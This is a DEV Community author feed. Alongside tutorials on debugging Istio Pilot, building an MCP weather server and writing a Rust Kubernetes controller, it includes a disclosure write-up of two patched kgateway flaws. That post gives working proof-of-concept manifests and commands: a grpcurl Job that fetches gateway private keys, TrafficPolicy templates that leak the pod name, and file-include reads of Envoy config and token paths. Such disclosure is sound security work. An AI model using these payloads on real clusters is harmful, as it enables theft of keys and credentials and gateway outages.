DEV Community: Ricardo Katz

Istio Pilot - Debugging and Development workflow

Ricardo Katz — Tue, 06 Jan 2026 12:32:42 +0000

As I've been touching more on Istio Pilot codebase recently, I've found very difficult to debug it without a DLP/debugger connected to it.

Usually I would say "just add some fmt.Prints and spew.Sdump" around the code, but given I need to understand step by step how Istio converts some Gateway API resources into its own model, attaching a debugger became a required step.

Additionally, the "compile/push/debug/repeat" loop became essential, so I kind of did my own workflow, that works for me.

All of my development workflow is done using my Gateway API fast provisioning script on kind.

Note: This is my development workflow, and may not work for you, so take with with a grain of salt ;)

Compile/Push repeat

This is my copy/paste/be happy script:

export TAG=istio-$(date +%s)
export HUB=localdev.tld/istio
export DEBUG=1
make docker.pilot && kind load docker-image ${HUB}/pilot:${TAG} &&  kubectl set image -n istio-system deployments/istiod discovery=${HUB}/pilot:${TAG}

Remote debugging

First, why remote debugging? I wanted to check exactly what's going on my live code. I didn't wanted to run it locally.

I will update this article with a better approach, but for now:

Create and apply a patch on Dockerfile.pilot AND REMEMBER TO NOT COMMIT IT!

This patch gets delve from the Go official images, and copy to the final Istio image. It also changes the entrypoint to be delve starting pilot.

curl -o dockerfile.patch https://gist.githubusercontent.com/rikatz/f5a07945038f705c9d10625eceb99932/raw/c56c9f0fca2545fffbe87d4de55ccb5d474f173b/dockerfile.patch
git apply dockerfile.patch

Note: right now bumping the used go image should be done manually .

Change your Pilot deployment to allow writing to filesystem and to add SYS_PTRACE capability

These changes are required for Delve to work properly

 kubectl patch deployment istiod -n istio-system --type='json' -p='[
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/allowPrivilegeEscalation", "value": true},
    {"op": "replace", "path": "/spec/template/spec/containers/0/securityContext/readOnlyRootFilesystem", "value": false},
    {"op": "add", "path": "/spec/template/spec/containers/0/securityContext/capabilities", "value": {"add": ["SYS_PTRACE"]}}
]'

Do a port-forward to delve port

This is the port where you will connect your remote-debugger later (on localhost:40000):

kubectl port-forward -n istio-system deploy/istiod 40000

Attach to remote process Here is my vscode file:

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Remote Debug Pilot in K8s",
            "type": "go",
            "request": "attach",
            "mode": "remote",
            "remotePath": "",
            "port": 40000,
            "host": "localhost",
            "showLog": true,
            "trace": "verbose",
            "substitutePath": [
                {
                    "from": "${workspaceFolder}",
                    "to": "/work"
                }
            ]
        }
    ]
}

Running integration tests

Finally, this is my last step. Once I am writing some integration tests, I may want to run them locally before posting my PR. Here is usually how I do:

INTEGRATION_TEST_FLAGS="-run ^TestGatewayAPIResourcesOnly$"   ./prow/integ-suite-kind.sh --topology MULTICLUSTER  --skip-cleanup   test.integration.pilot.resourcefilter.kube

This one runs a single integration test called TestGatewayAPIResourcesOnly. The topology flag is optional and can be used if a specific topology integration test is failing.

The final name test.integration.pilot.resourcefilter.kube can be translated to "tests/integration/pilot/somesubfolder".

So, in case you want to run a test that is directly on "tests/integration/pilot" you can replace it for test.integration.pilot.kube.

The kgateway vulnerabilities explained (and why I disagree on its score!)

Ricardo Katz — Thu, 06 Nov 2025 17:30:00 +0000

NOTE ⚠️: This article is written purely for research and educational purposes to help improve security across the ecosystem, and represents my self-evaluation of our risk assessment process for kgateway. kgateway is an excellent Gateway API implementation, and I have great respect for the developers and their work on this project. The vulnerabilities discussed here have been responsibly disclosed and patched. Views expressed are my own and do not necessarily reflect those of my employer.

Acknowledgments
Some context
- Why Envoy-based Implementations?
The weak authentication problem
- Getting the Pod name
- About the score of this vulnerability
The arbitrary file read problem
- About the score of this vulnerability
Best Practices for Security

Acknowledgments

Starting with acknowledgments:

My wife, who was very patient with me while I was spending a lot of time investigating this
My team, who gave me time to conduct this research and kept motivating me to help improve the open source ecosystem
My friends Carlos, Adolfo and James
Ingress NGINX maintainers (past, current) - I know those are hard times, but you rock and have maintained a critical piece for some long time
kgateway maintainers (especially John and Josh) who took some time to understand the problem, acknowledge and fix it.

Some context

I recently discovered 2 vulnerabilities in kgateway that have been publicly disclosed:

GHSA-5pmx-7r6r-wfqq - Users can read any file from the proxy container
GHSA-4766-x535-jw3r / CVE-2025-64323 - Weak authentication between dataplane and control plane

These findings were discovered unintentionally, while I was researching how to extend and use kgateway for a personal idea.

For those unfamiliar, kgateway is a CNCF incubated project that implements a Kubernetes Gateway API controller, and is one of many implementations backed by Envoy Proxy.

Additionally, the project is leaning towards supporting its own proxy implementation called agentgateway, more focused on AI traffic and implemented in Rust.

Why Envoy-based Implementations?

One of the most appealing features of Envoy is its capability of dynamic configuration based on a Control Plane/Data plane architecture.

This architecture allows a single controller to reconcile all Gateway API resources and generate a configuration that is exposed on a network endpoint via Envoy's well-known API using a Go library provided by Envoy. An Envoy proxy can then connect to this control plane endpoint and fetch its own configuration.

This makes it much easier for implementations to separate the concerns between the control plane, that will connect to a Kubernetes cluster to watch and reconcile resources, and the dataplane, that should never have direct access to Kubernetes API server, and also helps avoiding problems we had in the past with Ingress NGINX and its nginx.conf generation based on templates.

An example scenario of Gateway API deployment with Envoy-based implementations is shown below, where the controller is in one namespace, a Gateway is created in an infrastructure namespace, and the user application is in a different namespace.

The weak authentication problem

This is related to GHSA-4766-x535-jw3r / CVE-2025-64323

During my research, one of my goals was to attach my own proxy to kgateway, to see if I could rely on its reconciliation logic while using a custom backend. This is actually supported.

I realized that the kgateway control plane was exposed to proxies via the kgateway service in the kgateway-system namespace, on port 9977.

My starting point was to figure out if I could use grpcurl to fetch the configuration directly from the kgateway control plane. After consulting ChatGPT for the correct syntax, I arrived at something like this (note: the command is incomplete):

grpcurl -plaintext  kgateway.kgateway-system:9977 \
   envoy.service.discovery.v3.AggregatedDiscoveryService/StreamAggregatedResources

This service can be used to stream configurations to Envoy, but you need to specify which type you want (Listener? Routes?).

Also, an Envoy proxy needs to pass to the control plane what are its metadata, so the control plane can decide which configuration to send. kgateway used this metadata as an authentication mechanism.

Note: agentgateway used a similar way to get its configuration from kgateway control plane. The main difference is that agentgateway relies on a much smaller model.

After some investigation, I discovered that by passing the right data, the control plane would return the requested configuration:

{
  "node": {
    "id": "$GATEWAY_POD.$GATEWAY_NAMESPACE",
    "cluster": "$GATEWAY_NAME.$GATEWAY_NAMESPACE",
    "metadata": {
      "role": "kgateway-kube-gateway-api~$GATEWAY_NAMESPACE~$GATEWAY_NAME"
    }
  },
  "typeUrl": "$ENVOY_TYPE"
}

The request requires these replacements:

$GATEWAY_NAME and $GATEWAY_NAMESPACE are the Gateway resource details. Users with permission to create an HTTPRoute would already have this information (required for the parentRef field)
$GATEWAY_POD is the actual pod name of the Envoy proxy. This is the only piece of information that might be challenging to obtain, which led to discovering the other vulnerability
$ENVOY_TYPE is the type of configuration to stream. Common types include:

type.googleapis.com/envoy.config.listener.v3.Listener #<- This contains certificates!
type.googleapis.com/envoy.config.route.v3.RouteConfiguration
type.googleapis.com/envoy.config.cluster.v3.Cluster
type.googleapis.com/envoy.config.endpoint.v3.ClusterLoadAssignment
type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.Secret
type.googleapis.com/envoy.config.listener.v3.FilterChain

Since the only additional information needed for authentication is the Gateway Pod name, once obtained, an attacker can create a Pod/Job with the manifest below to expose gateway certificates (which they should not have access to, as certificates are managed by the Gateway owner). In this example, I've replaced GATEWAY_NAME, GATEWAY_NAMESPACE, GATEWAY_POD, and ENVOY_TYPE with the appropriate values:

apiVersion: batch/v1
kind: Job
metadata:
  name: leak
  namespace: unprivileged
spec:
  backoffLimit: 0
  template:
    spec:
      restartPolicy: Never
      containers:
      - name: grpcurl-runner
        image: mirror.gcr.io/fedora:43
        command: ["/bin/bash", "-c"]
        args:
          - |
            set -e
            rpm -Uvh https://github.com/fullstorydev/grpcurl/releases/download/v1.9.3/grpcurl_1.9.3_linux_amd64.rpm
            cat > /script.sh <<'EOF'
            #!/bin/bash
            until [ -s /output.txt ]; do
            sleep 1
            grpcurl -plaintext -d '{"node": {"id": "gateway-678d4cf544-h9bs2.infra","cluster": "gateway.infra","metadata": {"role": "kgateway-kube-gateway-api~infra~gateway"}},"typeUrl": "type.googleapis.com/envoy.config.listener.v3.Listener"}' kgateway.kgateway-system:9977 envoy.service.discovery.v3.AggregatedDiscoveryService/StreamAggregatedResources > /output.txt
            done
            cat /output.txt
            EOF
            chmod +x /script.sh
            /script.sh

And checking the logs of this Job:

"privateKey": {
   "inlineBytes": "CERTIFICATE_PRIVATE_KEY"
}

Getting the Pod name

Discovering the Pod name was required to be able to authenticate. kgateway contains a Custom Resource called TrafficPolicy that allows a user to apply policies like rate limit, authentication, etc.

The problem with TrafficPolicy is that it allows some transformations to add headers to requests and responses, and these transformations can be based on templates, but also allow reading the Proxy environment variables.

This feature can be legitimately used to expose variables related to availability zones of a proxy, but it can also be used to read environment variables that contain the HOSTNAME, which is the Pod name.

For example, a user could create the following resources in their unprivileged namespace:

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: my-app
spec:
  hostnames:
  - app.tld
  parentRefs:
  - group: gateway.networking.k8s.io
    kind: Gateway
    name: gateway
    namespace: infra
  rules:
  - backendRefs:
    - group: ""
      kind: Service
      name: my-app
      port: 80
      weight: 1
    matches:
    - path:
        type: PathPrefix
        value: /
---
apiVersion: gateway.kgateway.dev/v1alpha1
kind: TrafficPolicy
metadata:
  name: transformation
  namespace: unprivileged
spec:
  targetRefs:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    name: my-app
  transformation:
    response:
      add:
      - name: pod-name
        value: '{{ env("HOSTNAME") }}'

A simple cURL request to the app is sufficient to retrieve the Gateway pod name:

$ curl --output /dev/null -I -s -w '%header{pod-name}' http://app.tld
gateway-678d4cf544-h9bs2

The pod name can then be used to exploit the weak authentication vulnerability.

About the score of this vulnerability

Given that:

The vulnerability requires authenticated Kubernetes cluster access with permissions to create HTTPRoute and TrafficPolicy resources, meaning Network Attack Vector (AV:N) and Low Privileges required (PR:L)
The Attack complexity is low (AC:L)
The Confidentiality impact is high (C:H)

Based on these factors, the CVSS score for this vulnerability is 6.5, which classifies it as "Medium" severity.

Note: While access to TrafficPolicy and HTTPRoute should be restricted through proper RBAC policies, the low barrier to exploitation for users with these permissions remains a significant security concern.

The arbitrary file read problem

This is related to GHSA-5pmx-7r6r-wfqq

While trying to figure out a way to expose the Pod name, I noticed that the kgateway documentation states that "templates are powered by v3.4 of the Inja template engine".

I decided to investigate what other capabilities Inja offered.

Inja allows including other files as templates, so I decided to test this feature by modifying my TrafficPolicy:

apiVersion: gateway.kgateway.dev/v1alpha1
kind: TrafficPolicy
metadata:
  name: transformation
  namespace: unprivileged
spec:
  targetRefs:
  - group: gateway.networking.k8s.io
    kind: HTTPRoute
    name: my-app
  transformation:
    response:
      body:
        parseAs: AsString
        value: '{% include "/etc/envoy/envoy.yaml" %}'

And now, when I call my app with curl http://app.tld I get the full envoy configuration.

At first, someone might think to extract the Kubernetes service account from /var/run/secrets/kubernetes.io/serviceaccount/token, but kgateway implements good security practices by not mounting Kubernetes service account tokens on the proxies.

However, an attacker could still read /proc/1/cmdline to see how Envoy is started and potentially obtain credentials for the control plane.

The authentication for the Weak Authentication issue was added as part of this PR and now we can see that this new token is mounted at /var/run/secrets/tokens/xds-token.

Since these are two separate vulnerabilities, if the file injection issue had been discovered after the weak authentication fix was deployed, an attacker could still read the authentication token and fetch configurations from the control plane.

Another concern is that an attacker could set the include path to /dev/stdout, which blocks all Envoy reads and makes the Gateway unavailable, creating both a confidentiality and availability issue.

About the score of this vulnerability

Given that:

The vulnerability requires authenticated Kubernetes cluster access with permissions to create HTTPRoute and TrafficPolicy resources, meaning Network Attack Vector (AV:N) and Low Privileges required (PR:L)
The Attack complexity is low (AC:L)
The Confidentiality impact is high (C:H)
The Availability impact is high (A:H)

Based on these factors, the CVSS score for this vulnerability is 8.1, which classifies it as "High" severity.

Best Practices for Security

Recommended steps to help reduce the risks of discovered (and undiscovered) vulnerabilities:

Always upgrade - Apply security updates regardless of whether vulnerabilities are tagged as "Low" or "Medium".
Implement least privilege - Limit user access to only the resources they need. If users don't require access to resources like TrafficPolicy, don't grant it. If they do, ensure proper auditing is in place.
Use Network Policies - While kgateway manages part of the Gateway lifecycle, you can still create NetworkPolicies to restrict control plane access to only Gateways in trusted namespaces.

Experimenting mcp-go, AnythingLLM and local LLM executions

Ricardo Katz — Mon, 21 Apr 2025 20:28:57 +0000

This post was originally created here

NOTE: I am no LLM, AI or whatever expert. Far from this. I have decided to write this blog post mostly as a way to track my progress and share my findings! There may be some mistakes here, please let me know!

I got hyped into the MCP trend. Usually I wait a bit more to get engaged into these subjects, but when it comes to cool integration between tools, I get excited to experiment fast.

MCP, as a single line explanation (from my own head) is "a way to integrate local data with LLM". Mostly it allows me to connect some LLM that understands a question like "what's the current weather in Sao Paulo", providing an interface that receives a formatted query, requests informations from some API (but can also be a full local execution, like listing my filesystem) and provides a structured response to LLM back so it can be formatted.

It is, as its name says, a protocol that allows a developer to create an "API'ish", queried in real time and providing answers based on the API response.

I have decided to use Golang SDK as it is my comfort zone, but the MCP site has a bunch of useful examples using whatever language you feel more comfortable with (and it also has its official SDKs in Python, NodeJS, etc).

Because I don't have enough money to spend calling Claude (Anthropic, the original creator of MCP is also the company behind Claude), I have decided to use the very cool project called AnythingLLM that allows me to execute local models and also supports MCP.

The code used here is also available at Github

Concepts

Some concepts used here:

MCP Server - AKA Agent AI - What we are implementing here. A "server" that will be called to provide responses
MCP Client - A client that "knows" how to call a MCP server. In our case is AnythingLLM
Resources - Our API responses, but can be local files, etc. Consumed by MCP Server, provided as response to MCP Client
Tools - the "methods" that can be called by MCP Client. In our case you are going to see it as the getForecast() function

Pre requisites

I will not cover how to install every piece, it should be straightforward. What you need is to install AnythingLLM and load a model. I am using Llama 3.2 3B, but if you need more complex operations, AnythingLLM allows you to select different models to execute locally.

The API used in this example is based on already existing example
Weather MCP but mostly converted to Go. We cover just the forecast API, and not the Alerts one, but go
ahead and try implementing your own :) it is fun!

The API definition is also available here

Getting started

First, we need to create a Go project with MCP Go library:

go mod init weather-go
go get github.com/mark3labs/mcp-go

Defining the API responses

The forecast API makes its responses as JSON. To make our life easier, only the parts we care from this API were extracted, so the definition looks like:

// WeatherPoints contains the response for API/points/latitude,longitude
// we care just about the Forecast field, that contains the new API URL that should be called
type WeatherPoints struct {
    Properties struct {
        Forecast string `json:"forecast"`
    } `json:"properties"`
}

// Forecast contains the forecast prediction for a lat,long. 
// example: https://api.weather.gov/gridpoints/MTR/85,105/forecast
type Forecast struct {
    Properties struct {
        Periods []struct {
            Name             string `json:"name,omitempty"`
            Temperature      int    `json:"temperature,omitempty"`
            TemperatureUnit  string `json:"temperatureUnit,omitempty"`
            WindSpeed        string `json:"windSpeed,omitempty"`
            WindDirection    string `json:"windDirection,omitempty"`
            ShortForecast    string `json:"shortForecast,omitempty"`
            DetailedForecast string `json:"detailedForecast,omitempty"`
        } `json:"periods,omitempty"`
    } `json:"properties,omitempty"`
}

Building the Forecast tool

The Forecast tool is how we expose to our client how/when the Forecast should be called.

It requests for parameters like "a City name", "a file location", "what numbers should be suummed".

The snippets below define the tool and the call execution. Later we will add it to the main MCP server.

Let's take a look into the function:

import (
    "github.com/mark3labs/mcp-go/mcp"
)
// Add forecast tool
func getForecast() mcp.Tool {
    weatherTool := mcp.NewTool("get_forecast",
        mcp.WithDescription("Get weather forecast for a location"),
        mcp.WithNumber("latitude",
            mcp.Required(),
            mcp.Description("Latitude of the location"),
        ),
        mcp.WithNumber("longitude",
            mcp.Required(),
            mcp.Description("Longitude of the location"),
        ),
    )
    return weatherTool
}

When the MCP Client connects to a MCP Server, the MCP server exposes get_forecast as a valid tool, requesting latitute and longitude parameters.

Note: I don't understand yet the magics between a prompt receiving a request like "give me the forecast of bla" and deferring to the get_forecast tool!

Setting the forecast tool is not enough. We need to define to our server, once a "get_forecast" call is made, what it should execute. First, we define a util function to call the API:

const (
    nws_api_base       = "https://api.weather.gov"
    user_agent         = "weather-app/1.0"
)
func makeNWSRequest(requrl string) ([]byte, error) {
    client := &http.Client{}
    req, err := http.NewRequest(http.MethodGet, requrl, nil)
    if err != nil {
        return nil, err
    }
    req.Header.Set("User-Agent", user_agent)
    req.Header.Set("Accept", "application/geo+json")

    resp, err := client.Do(req)
    if err != nil {
        return nil, err
    }
    defer resp.Body.Close()
    body, err := io.ReadAll(resp.Body)
    if err != nil {
        return nil, err
    }
    return body, nil
}

Then we need the proper function that will make requests to the API, and format the response properly:

const (
    // We just want the next 5 forecast results
    maxForecastPeriods = 5
)
func forecastCall(ctx context.Context, request mcp.CallToolRequest) (*mcp.CallToolResult, error) {
    // Fetches latitude and longitude passed to the tool call
    latitude := request.Params.Arguments["latitude"].(float64)
    longitude := request.Params.Arguments["longitude"].(float64)

    // Makes the API call.
    pointsURL := fmt.Sprintf("%s/points/%.4f,%.4f", nws_api_base, latitude, longitude)
    points, err := makeNWSRequest(pointsURL)
    if err != nil {
        return nil, fmt.Errorf("error calling points API: %w", err)
    }
    pointsData := &WeatherPoints{}
    if err := json.Unmarshal(points, pointsData); err != nil {
        return nil, fmt.Errorf("error unmarshalling points data: %w", err)
    }

    if pointsData == nil || pointsData.Properties.Forecast == "" {
        return nil, fmt.Errorf("points does not contain forecast url")
    }

    // Make a second API call with the Forecast URL to get the forecast result
    forecastReq, err := makeNWSRequest(pointsData.Properties.Forecast)
    if err != nil {
        return nil, fmt.Errorf("error getting the forecast data")
    }

    forecastData := &Forecast{}
    if err := json.Unmarshal(forecastReq, forecastData); err != nil {
        return nil, fmt.Errorf("error unmarshalling points data: %w", err)
    }

    type ForecastResult struct {
        Name        string `json:"Name"`
        Temperature string `json:"Temperature"`
        Wind        string `json:"Wind"`
        Forecast    string `json:"Forecast"`
    }

    // format a json containing the 5 forecasts
    forecast := make([]ForecastResult, maxForecastPeriods)
    for i, period := range forecastData.Properties.Periods {
        forecast[i] = ForecastResult{
            Name:        period.Name,
            Temperature: fmt.Sprintf("%d°%s", period.Temperature, period.TemperatureUnit),
            Wind:        fmt.Sprintf("%s %s", period.WindSpeed, period.WindDirection),
            Forecast:    period.DetailedForecast,
        }
        if i >= maxForecastPeriods-1 {
            break
        }
    }

    forecastResponse, err := json.Marshal(&forecast)
    if err != nil {
        return nil, fmt.Errorf("error marshalling forecast: %w", err)
    }

    // And return it as string back to the caller function
    return mcp.NewToolResultText(string(forecastResponse)), nil
}

Defining the main server

With everything in place, we can define the main server, add our tool and the "handler" function for that tool:

import (
    "github.com/mark3labs/mcp-go/server"
)
func main() {
    // Create a new MCP server
    s := server.NewMCPServer(
        "Weather Demo",
        "1.0.0",
        server.WithResourceCapabilities(true, true),
        server.WithLogging(),
        server.WithRecovery(),
    )

    // Add the forecast tool and its handler function
    s.AddTool(getForecast(), forecastCall)

    // Start the server
    if err := server.ServeStdio(s); err != nil {
        fmt.Printf("Server error: %v\n", err)
    }
}

With that in place, we can try simply building and executing our Go program. It should give us any return, and wait for inputs on STDIO. After that, interrupt it with Ctrl-C

go build -o forecast .
./forecast

Integrating with AnythingLLM

The integration with AnythingLLM is made defining the MCP server binary that we want to call. It is a JSON config, and its schema follows the same definition for Claude Desktop.

The configuration location may vary from each OS, on MacOS you define it on ~/Library/Application\ Support/anythingllm-desktop/storage/plugins/anythingllm_mcp_servers.json.

Following is how mine is defined:

{
    "mcpServers": {
        "weather": {
            "command": "/Users/rkatz/codes/mcp/weather-go/forecast"
        }
    }
}

Once it is defined, we can verify if it is properly working on the UI:

As we can see it is working, we can make a prompt call like:

@agent what's the forecast for Atlanta?

It is important to use the @agent on the beginning of the Prompt. AnythingLLM requires this to understand this should be sent to MCP Server.

With that, we can see that AnythingLLM deferred the call to MCP Server, made the call and formatted the output.

Debugging

Sometimes things may go wrong. The most common mistake I have faced is Wrong command call on AnythingLLM configuration.

If the prompt answers there's some error on the Agent/MCP Server, you can request for the prompt for some more information, like Can you print the full error or can you print the Json response from Server and it should print some useful information.

Acknowledges

My acknowledge here goes to my friend Anderson Duboc, that helped me start scratching this surface with all the patience that I require! :)

Also, for the folks who created this amazing SDK and saved me a lot of time.

Building a simple Kubernetes Controller in Rust - Part 1

Ricardo Katz — Tue, 04 Mar 2025 22:32:32 +0000

Recently I got this obsession to learn Rust. While there are plenty of documentation around, like Rust Book, some good published books, tutorials, rustling, I always struggle to learn something when I am not doing something practical, so I have decided to go to my comfort zone and write a Kubernetes Controller using kube-rs.

This article intends to help people with some basic knowledge of Rust and Kubernetes controllers written in Go to build a simple controller and understand a bit more how it works. I won't cover here how to install Rust, or how to manage Cargo, or even details of dependencies like tokio. The goal is to build a simple controller :)

If you have any questions on "why this line is required", I highly recommend you to paste the question in ChatGPT asking for an explanation. It may make things clear! An example: https://chatgpt.com/share/67c78315-4d30-8002-8aa1-731171fc533f

Getting a Kubernetes client

The first step on a controller is to bootstrap a Kubernetes Client. We need to add the kube-rs with the client feature and Kubernetes OpenAPI to our program.

cargo add kube -F client
cargo add k8s-openapi -F latest

After that, we can create a program that connects to our Kubernetes cluster using the current Kubernetes context.

use kube::Client;

fn main() {
    let client = Client::try_default();
}

But if you try to run this program with cargo run it is going to be a no-op.

Because of the nature of Kubernetes and its operation being "network operations", kube-rs considers all the operations as "async" operations, and we need a way to manage it. The well-known and mostly used way of doing it is with the tokio framework. Adding tokio, with features of "macros" (to use macros like #[tokio::main]) and a runtime (rt-multi-thread) should be enough. Additionally, we need to return an error to this function, so we will be using anyhow crate, that allows us to return errors without worrying about the error type

cargo add tokio -F macros,rt-multi-thread
cargo add anyhow

And then we update the program as:

use kube::Client;

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let client = Client::try_default()
        .await
        .expect("error getting a Kubernetes client");
    Ok(())
}

Great, our program is still a no-op but prepared for Kubernetes Client. Let's list some Services. We will need to add Kubernetes Core types to the scope, and then use the client to list it:

use k8s_openapi::api::core::v1::Service; // Add Service API to scope
use kube::{
    Client,
    api::{Api, ListParams},
};

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let client = Client::try_default()
        .await
        .expect("error getting a Kubernetes client");

    let service: Api<Service> = Api::all(client); // Define our service client with all namespaces on context
    let lp = ListParams::default(); // List anything. Here you can set filters like label filters
    for svc in service.list(&lp).await? {
        println!(
            "found service {}/{}",
            svc.metadata.namespace.unwrap(),
            svc.metadata.name.unwrap()
        );
    }

    Ok(()) // This is a function that returns a "Result", so we need to return something
}

Great, doing a cargo run should return all the Services of our cluster. This main program will be split to a new "run" function, for the sake of being more clean:

use k8s_openapi::api::core::v1::Service;
use kube::{
    Client,
    api::{Api, ListParams},
};

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    run().await;
    Ok(())
}

pub async fn run() {
    let client = Client::try_default()
        .await
        .expect("error getting a Kubernetes client");

    let service: Api<Service> = Api::all(client);
    let lp = ListParams::default();
    for svc in service.list(&lp).await.expect("error listing services") {
        println!(
            "found service {}/{}",
            svc.metadata.namespace.unwrap(),
            svc.metadata.name.unwrap()
        );
    }
}

Creating a "context"

Because of Rust nature of memory safety, borrow checking and variables lifetimes, we need to be sure that the client will exist for any new thread of our controller. The way of doing it is creating a struct that contains a clone of our client, and eventually any other resource we may need during reconciliation, like Prometheus instrumentation client, etc.

We can add this context struct as part of our lib.rs to make it available to the whole module we are writing, so we will have now a program that creates a new context for every reconciler we define:

// lib.rs
use kube::Client;
// This macro makes our structure "clonable"
#[derive(Clone)]
pub struct Context {
    pub client: Client,
}

// main.rs
// we will hide main function and some imports
use my_rust_controller::Context; // my_rust_controller is my crate name. There may be a better way to do it, so feel free to comment :) 

pub async fn run() {
    let client = Client::try_default()
        .await
        .expect("error getting a Kubernetes client");

    let ctx = Context {
        client: client.clone(),
    };
}

Again, this program is a no-op. What we are doing here is, everytime run() is called, it will create a Kubernetes client, and then a new context with a clone of this client is created (remember, Rust lifetimes)

Creating the controller

With everything in place, we can now create a new module that will contain our controller logics. The idea of this controller is, "given a new service created, if its name is bad-service on namespace default print an error".

Before anything, we need to add kube-rs controller runtime to our project. We will also add the "thiserror" to make it easier to generate the errors, and "futures" as a required dependency

cargo add kube -F runtime
cargo add thiserror futures

Our main.rs and lib.rs will need some changes to call the reconciler, and contain some errors enum:

// lib.rs
use kube::Client;
use thiserror::Error;

pub mod controller;

// This macro makes our structure "clonable"
#[derive(Clone)]
pub struct Context {
    pub client: Client,
}

#[derive(Error, Debug)]
pub enum Error {
    #[error("kube error: {0}")]
    KubeError(#[source] kube::Error),
    #[error("invalid configuration: `{0}`")]
    InvalidConfigError(String),
    #[error("Bad service to reconcile: `{0}`")]
    BadService(String),
    #[error("service listing error: {0}")]
    ServiceError(#[source] kube::Error),
}
// Result type should be used during reconciliation return
pub type Result<T, E = Error> = std::result::Result<T, E>;

// --------------------------- 
// main.rs
use kube::Client;

use my_rust_controller::Context;
use my_rust_controller::controller;

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    run().await;
    Ok(())
}

pub async fn run() {
    let client = Client::try_default()
        .await
        .expect("error getting a Kubernetes client");

    let ctx = Context {
        client: client.clone(),
    };

    if let Err(error) = controller::controller(ctx).await {
        println!("failed to start Service controller: {error:?}");
        std::process::exit(1);
    }
}

Ok, now let's write our controller. The controller will mostly watch for "services" and print messages. In case the service name is "bad-service" and namespace is "default" it will return an error:

// controller.rs
use futures::StreamExt;
use k8s_openapi::api::core::v1::Service;
use kube::{
    api::{Api, ListParams},
    runtime::{Controller, controller::Action, watcher::Config},
};

use std::{sync::Arc, time::Duration};

use crate::*;

pub async fn controller(ctx: Context) -> Result<()> {
    let service = Api::<Service>::all(ctx.client.clone());
    service
        .list(&ListParams::default().limit(1))
        .await
        .map_err(Error::ServiceError)?;

    Controller::new(service, Config::default().any_semantic())
        .shutdown_on_signal()
        .run(reconcile, error_policy, Arc::new(ctx))
        .filter_map(|x| async move { std::result::Result::ok(x) })
        .for_each(|_| futures::future::ready(()))
        .await;

    Ok(())
}

pub async fn reconcile(service: Arc<Service>, _: Arc<Context>) -> Result<Action> {
    let name = service
        .metadata
        .name
        .clone()
        .ok_or(Error::InvalidConfigError("invalid name".to_string()))?;
    let ns = service
        .metadata
        .namespace
        .clone()
        .ok_or(Error::InvalidConfigError("invalid namespace".to_string()))?;

    println!("reconciling service {ns}/{name}");
    if name == "bad-service" && ns == "default" {
        return Err(Error::BadService("Service has a bad name".to_string()));
    }

    Ok(Action::requeue(Duration::from_secs(60)))
}

// error_policy is the function called when a reconciliation error happens
fn error_policy(_: Arc<Service>, error: &Error, _: Arc<Context>) -> Action {
    println!(
        "error happened during reconciliation of service svc {:?}",
        error
    );
    Action::requeue(Duration::from_secs(5 * 60)) // Requeue after 5 minutes
}

Running this program, we will get the following outputs:

$ kubectl create service clusterip bad-service --tcp=80
.....
$ cargo run
reconciling service kube-system/kube-dns
reconciling service default/nginx
reconciling service default/kubernetes
reconciling service default/bad-service
error happened during reconciliation of service svc BadService("Service has a bad name")

Conclusion (part 1)

Here we explored a very simple controller. It doesn't do anything useful other than printing messages. It doesn't even gets the object to check labels, or adds finalizer.

On the next parts, we will:

Given a label, patch the service
Add finalizers
Add some better logging

References:

kube-rs controller example: https://github.com/kube-rs/controller-rs/blob/main/src/lib.rs
Kubernetes Blixt: https://github.com/kubernetes-sigs/blixt

DEV Community: Ricardo Katz

Istio Pilot - Debugging and Development workflow

Compile/Push repeat

Remote debugging

Running integration tests

The kgateway vulnerabilities explained (and why I disagree on its score!)

Table of Contents

Acknowledgments

Some context

Why Envoy-based Implementations?

The weak authentication problem

Getting the Pod name

About the score of this vulnerability

The arbitrary file read problem

About the score of this vulnerability

Best Practices for Security

Experimenting mcp-go, AnythingLLM and local LLM executions

Concepts

Pre requisites

Getting started

Defining the API responses

Building the Forecast tool

Defining the main server

Integrating with AnythingLLM

Debugging

Acknowledges

Building a simple Kubernetes Controller in Rust - Part 1

Getting a Kubernetes client

Creating a "context"

Creating the controller

Conclusion (part 1)

References: